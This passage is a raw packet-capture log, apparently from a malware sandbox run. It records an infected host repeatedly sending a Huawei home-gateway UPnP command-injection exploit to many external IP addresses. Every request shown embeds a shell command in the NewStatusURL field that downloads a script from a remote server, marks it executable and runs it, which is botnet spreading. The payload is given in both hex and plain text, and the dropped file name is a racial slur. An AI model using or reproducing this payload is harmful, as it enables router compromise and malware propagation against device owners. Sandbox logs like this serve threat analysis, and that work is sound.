Feb 19, 2024 18:37:26.604792118 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.785280943 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.15	42600	45.138.70.10	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:26.604892015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:30.785279989 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.929124117 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:48.960835934 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.15	43056	94.120.240.45	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.869894028 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.15	52644	94.120.169.73	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.870292902 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.15	43904	94.122.49.96	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:27.870517015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 